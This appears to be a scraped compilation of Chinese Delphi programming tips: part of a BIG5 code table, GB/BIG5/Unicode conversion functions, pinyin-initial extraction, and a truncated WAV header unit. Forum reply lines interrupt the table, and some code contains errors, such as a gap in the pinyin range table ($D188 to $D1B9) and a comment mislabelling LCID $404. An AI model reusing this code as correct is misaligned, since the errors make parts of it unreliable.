BIG5Order[1200] := $D0A9;

BIG5Order[1201] := $D1C7;

BIG5Order[1202] := $CFED;

BIG5Order[1203] := $BEA9;

BIG5Order[1204] := $D1F0;

BIG5Order[1205] := $D2C0;

BIG5Order[1206] := $CACC;

BIG5Order[1207] := $BCD1;

BIG5Order[1208] := $CAB9;

BIG5Order[1209] := $C0D0;

BIG5Order[1210] := $B9A9;

BIG5Order[1211] := $C0FD;

BIG5Order[1212] := $C0B4;

BIG5Order[1213] := $D9A9;

BIG5Order[1214] := $B0DB;

BIG5Order[1215] := $B2A2;

BIG5Order[1216] := $B3DE;

BIG5Order[1217] := $C5E5;

BIG5Order[1218] := $D9AC;

BIG5Order[1219] := $C2D8;

BIG5Order[1220] := $D9AB;

BIG5Order[1221] := $D9AA;

BIG5Order[1222] := $D9A7;

BIG5Order[1223] := $2020;

BIG5Order[1224] := $CDC3;

BIG5Order[1225] := $B6F9;

BIG5Order[1226] := $D9EE;

BIG5Order[1227] := $C1BD;

BIG5Order[1228] := $BEDF;

BIG5Order[1229] := $C6E4;

BIG5Order[1230] := $B5E4;

BIG5Order[1231] := $D9FD;

BIG5Order[1232] := $BAAF;

BIG5Order[1233] := $BFCC;

BIG5Order[1234] := $C8AF;

BIG5Order[1235] := $CBA2;

BIG5Order[1236] := $B4CC;

BIG5Order[1237] := $B5BD;

BIG5Order[1238] := $B9CE;

BIG5Order[1239] := $D6C6;

BIG5Order[1240] := $B6E7;

BIG5Order[1241] := $DBC0;

BIG5Order[1242] := $2020;

BIG5Order[1243] := $D7E4;

BIG5Order[1244] := $D0AD;

BIG5Order[1245] := $D7BF;

BIG5Order[1246] := $B1B0;

BIG5Order[1247] := $D8D4;

BIG5Order[1248] := $BEED;

BIG5Order[1249] := $D0B6;

BIG5Order[1250] := $D0F4;

BIG5Order[1251] := $C8A1;

BIG5Order[1252] := $CAE5;

BIG5Order[1253] := $CADC;

BIG5Order[1254] := $CEB6;

BIG5Order[1255] := $BAC7;

BIG5Order[1256] := $BFA7;

BIG5Order[1257] := $C5DE;

BIG5Order[1258] := $B9BE;

BIG5Order[1259] := $BED7;

BIG5Order[1260] := $C9EB;

BIG5Order[1261] := $DFC8;

BIG5Order[1262] := $DFCD;

BIG5Order[1263] := $D6E4;

BIG5Order[1264] := $C5D8;

BIG5Order[1265] := $BAF4;

BIG5Order[1266] := $B8C0;

BIG5Order[1267] := $DFC9;

BIG5Order[1268] := $DFCE;

BIG5Order[1269] := $BACD;

BIG5Order[1270] := $DFCB;

BIG5Order[1271] := $C4D8;

BIG5Order[1272] := $D6DC;

BIG5Order[1273] := $D5A6;

BIG5Order[1274] := $C3FC;

BIG5Order[1275] := $BECC;

BIG5Order[1276] := $B9CC;

BIG5Order[1277] := $C0AC;

BIG5Order[1278] := $BFC0;

BIG5Order[1279] := $C6BA;

BIG5Order[1280] := $DBE1;

BIG5Order[1281] := $C6C2;

BIG5Order[1282] := $CCB9;

BIG5Order[1283] := $C0A4;

BIG5Order[1284] := $DBE5;

BIG5Order[1285] := $D2B9;

BIG5Order[1286] := $B7EE;

BIG5Order[1287] := $C6E6;

BIG5Order[1288] := $C4CE;

BIG5Order[1289] := $D1D9;

BIG5Order[1290] := $B1BC;

BIG5Order[1291] := $E6AA;

BIG5Order[1292] := $C6DE;

BIG5Order[1293] := $CEAF;

BIG5Order[1294] := $C3C3;

BIG5Order[1295] := $C4DD;

BIG5Order[1296] := $B9C3;

BIG5Order[1297] := $C4B7;

BIG5Order[1298] := $BDE3;

BIG5Order[1299] := $E6A9;

BIG5Order[1300] := $CABC;

BIG5Order[1301] := $D0D5;

BIG5Order[1302] := $E6A2;

BIG5Order[1303] := $E6A8;

BIG5Order[1304] := $C4CC;

BIG5Order[1305] := $E6A6;

BIG5Order[1306] := $2020;

BIG5Order[1307] := $C3CF;

BIG5Order[1308] := $B9C2;

BIG5Order[1309] := $BCBE;

BIG5Order[1310] := $D7DA;

BIG5Order[1311] := $B6A8;

BIG5Order[1312] := $B9D9;

BIG5Order[1313] := $D2CB;

BIG5Order[1314] := $D6E6;

BIG5Order[1315] := $CDF0;

BIG5Order[1316] := $C9D0;

BIG5Order[1317] := $C7FC;

BIG5Order[1318] := $BED3;

BIG5Order[1319] := $BDEC;

BIG5Order[1320] := $E1BA;

BIG5Order[1321] := $B8D4;

BIG5Order[1322] := $B0B6;

BIG5Order[1323] := $D1D2;

BIG5Order[1324] := $E1B6;

BIG5Order[1325] := $E1B7;

BIG5Order[1326] := $D4C0;

BIG5Order[1327] := $C1B1;

BIG5Order[1328] := $D6E3;

BIG5Order[1329] := $CCFB;

BIG5Order[1330] := $C5C1;

BIG5Order[1331] := $B2AF;

BIG5Order[1332] := $E0FB;

BIG5Order[1333] := $D0D2;

BIG5Order[1334] := $B8FD;

BIG5Order[1335] := $B5EA;

BIG5Order[1336] := $B8AE;

BIG5Order[1337] := $B5D7;

BIG5Order[1338] := $E2D2;

BIG5Order[1339] := $D1D3;

BIG5Order[1340] := $CFD2;

BIG5Order[1341] := $BBA1;

BIG5Order[1342] := $E5F3;

BIG5Order[1343] := $CDF9;

BIG5Order[1344] := $D5F7;

BIG5Order[1345] := $B7F0;

BIG5Order[1346] := $B1CB;

BIG5Order[1347] := $E3C3;

BIG5Order[1348] := $D6D2;

BIG5Order[1349] := $BAF6;

BIG5Order[1350] := $C4EE;

BIG5Order[1351] := $B7DE;

BIG5Order[1352] := $E2F3;

BIG5Order[1353] := $D5FA;

BIG5Order[1354] := $C7D3;

BIG5Order[1355] := $E2F0;

BIG5Order[1356] := $B2C0;

BIG5Order[1357] := $B9D6;

BIG5Order[1358] := $C5C2;

BIG5Order[1359] := $E2F9;

BIG5Order[1360] := $D0D4;

回复人：hf(2000-8-17 13:01:00) 得0分

BIG5Order[1361] := $E2F5;

BIG5Order[1362] := $E2F6;

BIG5Order[1363] := $E2F2;

BIG5Order[1364] := $BBF2;

BIG5Order[1365] := $E3DE;

BIG5Order[1366] := $B7BF;

BIG5Order[1367] := $ECE5;

BIG5Order[1368] := $CBF9;

BIG5Order[1369] := $B3D0;

BIG5Order[1370] := $C0AD;

BIG5Order[1371] := $B0E8;

BIG5Order[1372] := $D6F4;

BIG5Order[1373] := $C3F2;

BIG5Order[1374] := $B7F7;

BIG5Order[1375] := $C4A8;

BIG5Order[1376] := $BEDC;

BIG5Order[1377] := $D5D0;

BIG5Order[1378] := $C5FB;

BIG5Order[1379] := $CDD8;

BIG5Order[1380] := $B2A6;

BIG5Order[1381] := $C5D7;

BIG5Order[1382] := $C4E9;

BIG5Order[1383] := $C5EA;

BIG5Order[1384] := $B3E9;

BIG5Order[1385] := $D1BA;

BIG5Order[1386] := $B9D5;

BIG5Order[1387] := $D7BE;

BIG5Order[1388] := $C4B4;

BIG5Order[1389] := $C5C4;

BIG5Order[1390] := $B5D6;

BIG5Order[1391] := $DED5;

BIG5Order[1392] := $B1A7;

BIG5Order[1393] := $BED0;

BIG5Order[1394] := $CDCF;

BIG5Order[1395] := $DED6;

BIG5Order[1396] := $B2F0;

BIG5Order[1397] := $CCA7;

BIG5Order[1398] := $C1E0;

BIG5Order[1399] := $B7C5;

BIG5Order[1400] := $B8AB;

BIG5Order[1401] := $ECB6;

BIG5Order[1402] := $CDFA;

BIG5Order[1403] := $CEF4;

BIG5Order[1404] := $D2D7;

BIG5Order[1405] := $B2FD;

BIG5Order[1406] := $C0A5;

BIG5Order[1407] := $B0BA;

BIG5Order[1408] := $C3F7;

BIG5Order[1409] := $EAC0;

BIG5Order[1410] := $BBE8;

BIG5Order[1411] := $EABF;

BIG5Order[1412] := $EABB;

BIG5Order[1413] := $C9FD;

BIG5Order[1414] := $B7FE;

BIG5Order[1415] := $C5F3;

BIG5Order[1416] := $BABC;

BIG5Order[1417] := $E8CA;

BIG5Order[1418] := $D5ED;

BIG5Order[1419] := $B6AB;

BIG5Order[1420] := $B9FB;

BIG5Order[1421] := $E8C3;

BIG5Order[1422] := $E8CB;

BIG5Order[1423] := $E8C1;

BIG5Order[1424] := $D6A6;

BIG5Order[1425] := $C1D6;

BIG5Order[1426] := $B1AD;

BIG5Order[1427] := $BDDC;

BIG5Order[1428] := $B0E5;

BIG5Order[1429] := $CDF7;

BIG5Order[1430] := $CBC9;

BIG5Order[1431] := $CEF6;

BIG5Order[1432] := $E8C6;

BIG5Order[1433] := $C3B6;

BIG5Order[1434] := $2020;

BIG5Order[1435] := $E8CC;

BIG5Order[1436] := $E8C2;

BIG5Order[1437] := $EABD;

BIG5Order[1438] := $D0C0;

BIG5Order[1439] := $CEE4;

BIG5Order[1440] := $C6E7;

BIG5Order[1441] := $E9E2;

BIG5Order[1442] := $C3A5;

BIG5Order[1443] := $B7D5;

BIG5Order[1444] := $C6FC;

BIG5Order[1445] := $D7A2;

BIG5Order[1446] := $D3BE;

BIG5Order[1447] := $E3FB;

BIG5Order[1448] := $C3DA;

BIG5Order[1449] := $C4E0;

BIG5Order[1450] := $BAD3;

BIG5Order[1451] := $B9C1;

BIG5Order[1452] := $D5B4;

BIG5Order[1453] := $D5D3;

BIG5Order[1454] := $B2A8;

BIG5Order[1455] := $C4AD;

BIG5Order[1456] := $B7A8;

BIG5Order[1457] := $E3FC;

BIG5Order[1458] := $B7D0;

BIG5Order[1459] := $D0B9;

BIG5Order[1460] := $D3CD;

BIG5Order[1461] := $BFF6;

BIG5Order[1462] := $BEDA;

BIG5Order[1463] := $E3F4;

BIG5Order[1464] := $C7F6;

BIG5Order[1465] := $E3F3;

BIG5Order[1466] := $D1D8;

BIG5Order[1467] := $D6CE;

BIG5Order[1468] := $C5DD;

BIG5Order[1469] := $B7BA;

BIG5Order[1470] := $B2B4;

BIG5Order[1471] := $2020;

BIG5Order[1472] := $E3FD;

BIG5Order[1473] := $2020;

BIG5Order[1474] := $E3F7;

BIG5Order[1475] := $E3F6;

BIG5Order[1476] := $BFBB;

BIG5Order[1477] := $D1D7;

BIG5Order[1478] := $B3B4;

BIG5Order[1479] := $B4B6;

BIG5Order[1480] := $D6CB;

BIG5Order[1481] := $C5C0;

BIG5Order[1482] := $D5F9;

BIG5Order[1483] := $B0D6;

BIG5Order[1484] := $B0E6;

BIG5Order[1485] := $C4C1;

BIG5Order[1486] := $CEEF;

BIG5Order[1487] := $D7B4;

BIG5Order[1488] := $E1F2;

BIG5Order[1489] := $BED1;

BIG5Order[1490] := $B9B7;

BIG5Order[1491] := $BAFC;

BIG5Order[1492] := $CDE6;

BIG5Order[1493] := $E7E5;

BIG5Order[1494] := $E7E4;

BIG5Order[1495] := $C3B5;

BIG5Order[1496] := $2020;

BIG5Order[1497] := $2020;

BIG5Order[1498] := $F0DE;

BIG5Order[1499] := $B8ED;

BIG5Order[1500] := $BECE;

BIG5Order[1501] := $B5C4;

BIG5Order[1502] := $D3DB;

BIG5Order[1503] := $C3A4;

BIG5Order[1504] := $D6B1;

BIG5Order[1505] := $D6AA;

BIG5Order[1506] := $CEF9;

BIG5Order[1507] := $C9E7;

BIG5Order[1508] := $ECEB;

BIG5Order[1509] := $C6EE;

BIG5Order[1510] := $B1FC;

BIG5Order[1511] := $F4CC;

BIG5Order[1512] := $BFD5;

BIG5Order[1513] := $F1B7;

BIG5Order[1514] := $F3C3;

BIG5Order[1515] := $BEC0;

BIG5Order[1516] := $D8E8;

BIG5Order[1517] := $C7BC;

BIG5Order[1518] := $D8C2;

BIG5Order[1519] := $D5DF;

BIG5Order[1520] := $B7CE;

BIG5Order[1521] := $B7CA;

BIG5Order[1522] := $D6AB;

BIG5Order[1523] := $EBC5;

BIG5Order[1524] := $B9C9;

BIG5Order[1525] := $EBC6;

BIG5Order[1526] := $BCE7;

BIG5Order[1527] := $EBC8;

BIG5Order[1528] := $B7BE;

BIG5Order[1529] := $BFCF;

BIG5Order[1530] := $CED4;

BIG5Order[1531] := $F4A7;

BIG5Order[1532] := $C9E1;

BIG5Order[1533] := $B7BC;

BIG5Order[1534] := $D6A5;

BIG5Order[1535] := $DCBD;

BIG5Order[1536] := $B0C5;

BIG5Order[1537] := $D1BF;

BIG5Order[1538] := $DCCF;

BIG5Order[1539] := $C7DB;

BIG5Order[1540] := $BBA8;

BIG5Order[1541] := $B7D2;

BIG5Order[1542] := $BDE6;

BIG5Order[1543] := $D0BE;

BIG5Order[1544] := $DCBF;

BIG5Order[1545] := $2020;

BIG5Order[1546] := $DCC1;

BIG5Order[1547] := $DCC0;

BIG5Order[1548] := $DCC6;

BIG5Order[1549] := $BBA2;

BIG5Order[1550] := $CAAD;

回复人：hf(2000-8-17 13:05:00) 得0分

BIG5Order[1551] := $B3F5;

BIG5Order[1552] := $B1ED;

BIG5Order[1553] := $D4FE;

BIG5Order[1554] := $D3AD;

BIG5Order[1555] := $B7B5;

BIG5Order[1556] := $BDFC;

BIG5Order[1557] := $C9DB;

BIG5Order[1558] := $DBA1;

BIG5Order[1559] := $C7F1;

BIG5Order[1560] := $DAFD;

BIG5Order[1561] := $B2C9;

BIG5Order[1562] := $BDF0;

BIG5Order[1563] := $B3A4;

BIG5Order[1564] := $C3C5;

BIG5Order[1565] := $B8B7;

BIG5Order[1566] := $CDD3;

BIG5Order[1567] := $B0A2;

BIG5Order[1568] := $D7E8;

BIG5Order[1569] := $B8BD;

BIG5Order[1570] := $DAE9;

BIG5Order[1571] := $F6BF;

BIG5Order[1572] := $D3EA;

BIG5Order[1573] := $C7E0;

BIG5Order[1574] := $B7C7;

BIG5Order[1575] := $D8BD;

BIG5Order[1576] := $CDA4;

BIG5Order[1577] := $C1C1;

BIG5Order[1578] := $D0C5;

BIG5Order[1579] := $C7D6;

BIG5Order[1580] := $BAEE;

BIG5Order[1581] := $B1E3;

BIG5Order[1582] := $CFC0;

BIG5Order[1583] := $D9B8;

BIG5Order[1584] := $C7CE;

BIG5Order[1585] := $B1A3;

BIG5Order[1586] := $B4D9;

BIG5Order[1587] := $C2C2;

BIG5Order[1588] := $B7FD;

BIG5Order[1589] := $D9B9;

BIG5Order[1590] := $BFA1;

BIG5Order[1591] := $CBD7;

BIG5Order[1592] := $CEEA;

BIG5Order[1593] := $C0FE;

BIG5Order[1594] := $B6ED;

BIG5Order[1595] := $CFB5;

BIG5Order[1596] := $D9B5;

BIG5Order[1597] := $D9DE;

BIG5Order[1598] := $D3E1;

BIG5Order[1599] := $BED6;

BIG5Order[1600] := $D9F0;

BIG5Order[1601] := $C3B0;

BIG5Order[1602] := $EBD0;

BIG5Order[1603] := $B9DA;

BIG5Order[1604] := $C9B2;

BIG5Order[1605] := $CCEA;

BIG5Order[1606] := $CFF7;

BIG5Order[1607] := $C7B0;

BIG5Order[1608] := $D8DD;

BIG5Order[1609] := $BFCB;

BIG5Order[1610] := $D4F2;

BIG5Order[1611] := $D3C2;

BIG5Order[1612] := $C3E3;

BIG5Order[1613] := $B2AA;

BIG5Order[1614] := $BEA2;

BIG5Order[1615] := $D9E9;

BIG5Order[1616] := $C4CF;

BIG5Order[1617] := $C8B4;

BIG5Order[1618] := $BAF1;

BIG5Order[1619] := $C5D1;

BIG5Order[1620] := $D2A7;

BIG5Order[1621] := $B0A7;

BIG5Order[1622] := $D7C9;

BIG5Order[1623] := $B0A5;

BIG5Order[1624] := $D4D5;

BIG5Order[1625] := $CFCC;

BIG5Order[1626] := $DFD7;

BIG5Order[1627] := $BFC8;

BIG5Order[1628] := $CDDB;

BIG5Order[1629] := $DFD3;

BIG5Order[1630] := $D1CA;

BIG5Order[1631] := $DFE4;

BIG5Order[1632] := $C6B7;

BIG5Order[1633] := $BAE5;

BIG5Order[1634] := $B9FE;

BIG5Order[1635] := $BFA9;

BIG5Order[1636] := $E5EB;

BIG5Order[1637] := $D4DB;

BIG5Order[1638] := $DFDD;

BIG5Order[1639] := $DFE3;

BIG5Order[1640] := $DFD6;

BIG5Order[1641] := $DFDE;

BIG5Order[1642] := $E0F3;

BIG5Order[1643] := $B4B9;

BIG5Order[1644] := $D0CD;

BIG5Order[1645] := $DBF3;

BIG5Order[1646] := $D4AB;

BIG5Order[1647] := $B9B8;

BIG5Order[1648] := $B3C7;

BIG5Order[1649] := $BFE5;

BIG5Order[1650] := $DBF2;

BIG5Order[1651] := $DEC8;

BIG5Order[1652] := $C6F5;

BIG5Order[1653] := $D7E0;

BIG5Order[1654] := $BFFC;

BIG5Order[1655] := $DBBC;

BIG5Order[1656] := $BDAA;

BIG5Order[1657] := $E6B0;

BIG5Order[1658] := $D7CB;

BIG5Order[1659] := $E6AF;

BIG5Order[1660] := $D2CC;

BIG5Order[1661] := $CDDE;

BIG5Order[1662] := $C0D1;

BIG5Order[1663] := $2020;

BIG5Order[1664] := $D2A6;

BIG5Order[1665] := $BCE9;

BIG5Order[1666] := $CDFE;

BIG5Order[1667] := $D2F6;

BIG5Order[1668] := $BAA2;

BIG5Order[1669] := $D0FB;

BIG5Order[1670] := $BBC2;

BIG5Order[1671] := $CAD2;

BIG5Order[1672] := $BFCD;

BIG5Order[1673] := $E5B6;

BIG5Order[1674] := $B7E2;

BIG5Order[1675] := $CABA;

BIG5Order[1676] := $C6C1;

BIG5Order[1677] := $CAAC;

BIG5Order[1678] := $CEDD;

BIG5Order[1679] := $D6C5;

BIG5Order[1680] := $E1BC;

BIG5Order[1681] := $CFEF;

BIG5Order[1682] := $B5DB;

BIG5Order[1683] := $CBA7;

BIG5Order[1684] := $2020;

BIG5Order[1685] := $D3C4;

BIG5Order[1686] := $E2D4;

BIG5Order[1687] := $B6C8;

BIG5Order[1688] := $BDA8;

BIG5Order[1689] := $DEC4;

BIG5Order[1690] := $E5F4;

BIG5Order[1691] := $D1E5;

BIG5Order[1692] := $BADC;

BIG5Order[1693] := $B4FD;

BIG5Order[1694] := $BBB2;

BIG5Order[1695] := $C2C9;

BIG5Order[1696] := $E1DF;

BIG5Order[1697] := $E1E1;

BIG5Order[1698] := $E1E0;

BIG5Order[1699] := $C5AD;

BIG5Order[1700] := $CBBC;

BIG5Order[1701] := $B5A1;

BIG5Order[1702] := $BCB1;

BIG5Order[1703] := $D4F5;

BIG5Order[1704] := $D4B9;

BIG5Order[1705] := $BBD0;

BIG5Order[1706] := $C7A1;

BIG5Order[1707] := $BADE;

BIG5Order[1708] := $BBD6;

BIG5Order[1709] := $BAE3;

BIG5Order[1710] := $CAD1;

BIG5Order[1711] := $CCF1;

BIG5Order[1712] := $B6B2;

BIG5Order[1713] := $E3A1;

BIG5Order[1714] := $D0F4;

BIG5Order[1715] := $B1E2;

BIG5Order[1716] := $B0DD;

BIG5Order[1717] := $CDDA;

BIG5Order[1718] := $B0B4;

BIG5Order[1719] := $C6B4;

BIG5Order[1720] := $CAC3;

BIG5Order[1721] := $B3D6;

BIG5Order[1722] := $DED7;

BIG5Order[1723] := $D7A7;

BIG5Order[1724] := $D6B8;

BIG5Order[1725] := $B9B0;

BIG5Order[1726] := $BFBD;

BIG5Order[1727] := $D5FC;

BIG5Order[1728] := $C0A8;

BIG5Order[1729] := $CAB0;

BIG5Order[1730] := $CBA9;

BIG5Order[1731] := $CCF4;

BIG5Order[1732] := $B9D2;

BIG5Order[1733] := $D5FE;

BIG5Order[1734] := $B9CA;

BIG5Order[1735] := $EDBD;

BIG5Order[1736] := $CAA9;

BIG5Order[1737] := $BCC8;

BIG5Order[1738] := $B4BA;

BIG5Order[1739] := $D5D1;

BIG5Order[1740] := $D3B3;

BIG5Order[1741] := $C3C1;

BIG5Order[1742] := $CAC7;

BIG5Order[1743] := $D0C7;

BIG5Order[1744] := $D7F2;

BIG5Order[1745] := $EAC5;

BIG5Order[1746] := $2020;

BIG5Order[1747] := $EAC2;

BIG5Order[1748] := $CAC1;

BIG5Order[1749] := $C8BE;

BIG5Order[1750] := $D6F9;

BIG5Order[1751] := $C8E1;

BIG5Order[1752] := $C4B3;

BIG5Order[1753] := $BCED;

BIG5Order[1754] := $BCDC;

BIG5Order[1755] := $BFDD;

BIG5Order[1756] := $D5A4;

BIG5Order[1757] := $E8D1;

BIG5Order[1758] := $BFC2;

BIG5Order[1759] := $B1FA;

BIG5Order[1760] := $B8CC;

BIG5Order[1761] := $B9D5;

BIG5Order[1762] := $E8D6;

BIG5Order[1763] := $B2E9;

BIG5Order[1764] := $E8DB;

BIG5Order[1765] := $B0D8;

BIG5Order[1766] := $D7F5;

BIG5Order[1767] := $C1F8;

BIG5Order[1768] := $E8D2;

BIG5Order[1769] := $E8D4;

BIG5Order[1770] := $E8DC;

BIG5Order[1771] := $E8D8;

BIG5Order[1772] := $C6E2;

BIG5Order[1773] := $CDE1;

BIG5Order[1774] := $D1EA;

BIG5Order[1775] := $B4F9;

BIG5Order[1776] := $B6CE;

BIG5Order[1777] := $B6BE;

BIG5Order[1778] := $C5FE;

BIG5Order[1779] := $B7FA;

BIG5Order[1780] := $C8AA;


GB和BIG5的汉字对照文件

GB和BIG5的汉字对照文件

实际上这不是真正的繁体，而是GBK支持的大字符集的对应繁体字。

感谢齐齐 <richmy@163.net>友情提供。

简体.txt是简体中文，繁体.txt是繁体中文

排列规则，比如简体“台”字在简体.txt里第五行第二列，那么在繁体.txt里的第

五行第二列就可以找到繁体字“臺”字

简体与繁体字是相对应的。

下面是Kingron写的一个翻译函数：

function GbToBig5(CCh: string): string;

var

GB, Big: TStrings;

P: integer;

Offset: integer;

ExeDir: string;

Len: integer;

C: string;

begin

P := 1;

ExeDir := ExtractFilePath(ParamStr(0));

GB := TStringList.Create;

GB.LoadFromFile(ExeDir + '\u31616简体.txt');

Big := TStringList.Create;

Big.LoadFromFile(ExeDir + '\u32321繁体.txt');

SetLength(C, 2);

Len := Length(CCh);

SetLength(Result, Len);

try

while P <= Len do

begin

case ByteType(CCh, P) of

mbSingleByte: Result[P] := CCh[P];

mbLeadByte: begin

C[1] := CCh[P];

C[2] := CCh[P + 1];

Offset := AnsiPos(C, Gb.Text);

if Offset<>0 then

begin

Result[P] := Big.Text[Offset];

Result[P + 1] := Big.Text[Offset + 1];

end

else

begin

Result[P] := CCh[P];

Result[P + 1] := CCh[P + 1];

end;

Inc(P);

end;

end;

Inc(P);

end;

finally

GB.Free;

Big.Free;

end;

end;

目前没有时间，不然的话，做成一个DLL即可。

附件>>>> 汉字对照.rar


Unicode,GB，GBK转换

Unicode格式：

我们都知道，Windows2000的记事本，可以保存数据为Unicode的格式，那么在记事本中输入的文字，如何保存到文件里面呢？

原来，Unicode的文本和数据，在开始的时候，会有两个字节的标记：FF FE，如果一个Txt文件，开头两个字节是FF FE，那么记事本就认为它是Unicode的格式！此后，每一个符号数据都是以两个字节来保存的！因此，如果你输入了ab两个字母，那么文件的长度就是：2 + 4=6Byte！

MultiByteToWideChar

WideCharToMultiByte

把一个数字如8bd5变成Unicode字符:

Result:=WideChar($8bd5)

function GB2Unicode(GB:string):string;

var

s: string;

i, j, k: integer;

a: array [1..1000] of char;

begin

s:='';

StringToWideChar(GB, @(a[1]), 500);

i:=1;

while ((a[i]<>#0) or (a[i+1]<>#0)) do begin

j:=Integer(a[i]); k:=Integer(a[i+1]);

s:=s+Copy(Format('%X ',[k*$100+j+$10000]) ,2,4);

i:=i+2;

end;

Result:=s;

end;

简体和繁体转换：

请参看MSDN的API

LCMapString

它可以实现GB和big5和Unicode之间的转换，不需要什么对照表。


GB<-->BIG

附件>>>> Gb2Big5.rar

昨天摔了一跤 <windoze@yeah.net>

在Win2K下自己写很容易，下面给你几个函数，函数名里有String的是AnsiString版，

没有的是PChar版

uses

SysUtils, Windows;

function StrConv(pszSrc : PChar; cpSrc : UINT; pszDest : PChar; cbDest :

Longint; cpDest : UINT) : Longint;

var

buf : PWideChar;

cwLen : LongInt;

begin

cwLen := MultiByteToWideChar(cpSrc,

0,

pszSrc,

-1,

nil,

0);

GetMem(buf, (cwLen+1) * SizeOf(WideChar));

ZeroMemory(buf, (cwLen+1) * SizeOf(WideChar));

MultiByteToWideChar(cpSrc,

0,

pszSrc,

StrLen(pszSrc),

buf,

cwLen+1);

Result := WideCharToMultiByte(cpDest,

0,

buf,

-1,

pszDest,

cbDest,

nil,

nil);

FreeMem(buf);

end;

function StringConv(const Src : string; cpSrc, cpDest : UINT) : string;

var

buf : PChar;

len : Longint;

begin

len := StrConv(PChar(Src), cpSrc, nil, 0, cpDest);

GetMem(buf, len);

ZeroMemory(buf, len);

StrConv(PChar(Src), cpSrc, buf, len, cpDest);

Result := string(buf);

FreeMem(buf);

end;

function CHTStringToCHSString(Src : string) : string;

var

buf : PChar;

len : Integer;

begin

len := LCMapString($804, // LCID_CHINESE_SIMPLIFIED

LCMAP_SIMPLIFIED_CHINESE,

PChar(Src),

-1,

nil,

0);

GetMem(buf, len);

ZeroMemory(buf, len);

LCMapString($804, // LCID_CHINESE_SIMPLIFIED

LCMAP_SIMPLIFIED_CHINESE,

PChar(Src),

-1,

buf,

len);

Result := string(buf);

FreeMem(buf);

end;

function CHSStringToCHTString(Src : string) : string;

var

buf : PChar;

len : Integer;

begin

len := LCMapString($404, // LCID_CHINESE_SIMPLIFIED

LCMAP_TRADITIONAL_CHINESE,

PChar(Src),

-1,

nil,

0);

GetMem(buf, len);

ZeroMemory(buf, len);

LCMapString($404, // LCID_CHINESE_SIMPLIFIED

LCMAP_TRADITIONAL_CHINESE,

PChar(Src),

-1,

buf,

len);

Result := string(buf);

FreeMem(buf);

end;

function CHTToCHS(pszSrc, pszDest : PChar; cbDest : Longint) : Longint;

begin

Result := LCMapString($804, // LCID_CHINESE_SIMPLIFIED

LCMAP_SIMPLIFIED_CHINESE,

pszSrc,

-1,

pszDest,

cbDest);

end;

function CHSToCHT(pszSrc, pszDest : PChar; cbDest : Longint) : Longint;

begin

Result := LCMapString($404, // LCID_CHINESE_SIMPLIFIED

LCMAP_TRADITIONAL_CHINESE,

pszSrc,

-1,

pszDest,

cbDest);

end;

function Big5StringToGBString(Src : string) : string;

begin

Result := CHTStringToCHSString(StringConv(Src, 950, 936));

end;

function Big5ToGB(pszSrc, pszDest : PChar; cbDest : Longint) : Longint;

var

buf : PChar;

len : Integer;

begin

len := StrLen(pszSrc)+1;

GetMem(buf, len*2);

ZeroMemory(buf, len*2);

StrConv(pszSrc, 950, buf, 936, len*2);

Result := CHTToCHS(buf, pszDest, cbDest);

FreeMem(buf);

end;

function GBStringToBig5String(Src : string) : string;

begin

Result := CHSStringToCHTString(StringConv(Src, 936, 950));

end;

function GBToBig5(pszSrc, pszDest : PChar; cbDest : Longint) : Longint;

var

buf : PChar;

len : Integer;

begin

len := StrLen(pszSrc)+1;

GetMem(buf, len*2);

ZeroMemory(buf, len*2);

StrConv(pszSrc, 936, buf, 950, len*2);

Result := CHSToCHT(buf, pszDest, cbDest);

FreeMem(buf);

end;


1象素相当于15个twips

MM_TWIPS映射模式，

1英寸=1440 twips


将汉字翻译成拼音简写

在数据库输入中,怎样使"中文名称"输入翻译成"简码"存入另一字段?以便以后查询使用?

如:

"工资处"译成"GZC"

//这个函数拿去用（我刚写好，已测试通过）

function GetHzPy(const AHzStr: string): string;

const

ChinaCode: array[0..25, 0..1] of Integer = ((1601, 1636), (1637, 1832), (1833, 2077),

(2078, 2273), (2274, 2301), (2302, 2432), (2433, 2593), (2594, 2786), (9999, 0000),

(2787, 3105), (3106, 3211), (3212, 3471), (3472, 3634), (3635, 3722), (3723, 3729),

(3730, 3857), (3858, 4026), (4027, 4085), (4086, 4389), (4390, 4557), (9999, 0000),

(9999, 0000), (4558, 4683), (4684, 4924), (4925, 5248), (5249, 5589));

var

i, j, HzOrd: integer;

Hz: string[2];

begin

i := 1;

while i <= Length(AHzStr) do

begin

if (AHzStr[i] >= #160) and (AHzStr[i + 1] >= #160) then

begin

HzOrd := (Ord(AHzStr[i]) - 160) * 100 + Ord(AHzStr[i + 1]) - 160;

for j := 0 to 25 do

begin

if (HzOrd >= ChinaCode[j][0]) and (HzOrd <= ChinaCode[j][1]) then

begin

Result := Result + char(byte('A') + j);

break;

end;

end;

Inc(i);

end else Result := Result + AHzStr[i];

Inc(i);

end;

end;

///////////////////////////////////////

这个函数用户识别单独汉字的简码 字符串的简码函数请自行制作

function GetPYIndexChar(hzchar:string):char;

begin

case WORD(hzchar[1]) shl 8 + WORD(hzchar[2]) of

$B0A1..$B0C4 : result := 'A';

$B0C5..$B2C0 : result := 'B';

$B2C1..$B4ED : result := 'C';

$B4EE..$B6E9 : result := 'D';

$B6EA..$B7A1 : result := 'E';

$B7A2..$B8C0 : result := 'F';

$B8C1..$B9FD : result := 'G';

$B9FE..$BBF6 : result := 'H';

$BBF7..$BFA5 : result := 'J';

$BFA6..$C0AB : result := 'K';

$C0AC..$C2E7 : result := 'L';

$C2E8..$C4C2 : result := 'M';

$C4C3..$C5B5 : result := 'N';

$C5B6..$C5BD : result := 'O';

$C5BE..$C6D9 : result := 'P';

$C6DA..$C8BA : result := 'Q';

$C8BB..$C8F5 : result := 'R';

$C8F6..$CBF9 : result := 'S';

$CBFA..$CDD9 : result := 'T';

$CDDA..$CEF3 : result := 'W';

$CEF4..$D188 : result := 'X';

$D1B9..$D4D0 : result := 'Y';

$D4D1..$D7F9 : result := 'Z';

else

result := char(0);

end;

end;


wave文件格式说明

unit LinearSystem;

interface

{============== WAV Format Coding Type ==================}

type WAVHeader = record

nChannels : Word;

nBitsPerSample : LongInt;

nSamplesPerSec : LongInt;

nAvgBytesPerSec : LongInt;

RIFFSize : LongInt;

fmtSize : LongInt;

formatTag : Word;

nBlockAlign : LongInt;

DataSize : LongInt;

end;

{============== Sample DataStreams ========================}

const MaxN = 300; { max number of sample values }

type SampleIndex = 0 .. MaxN+3;

type DataStream = array[ SampleIndex ] of Real;

var N : SampleIndex;

{============== Observation Variables ======================}

type Observation = record

Name : String[40]; {Name of this observat

ion}

yyy : DataStream; {Array of data points}

WAV : WAVHeader; {WAV specs for observa

tion}

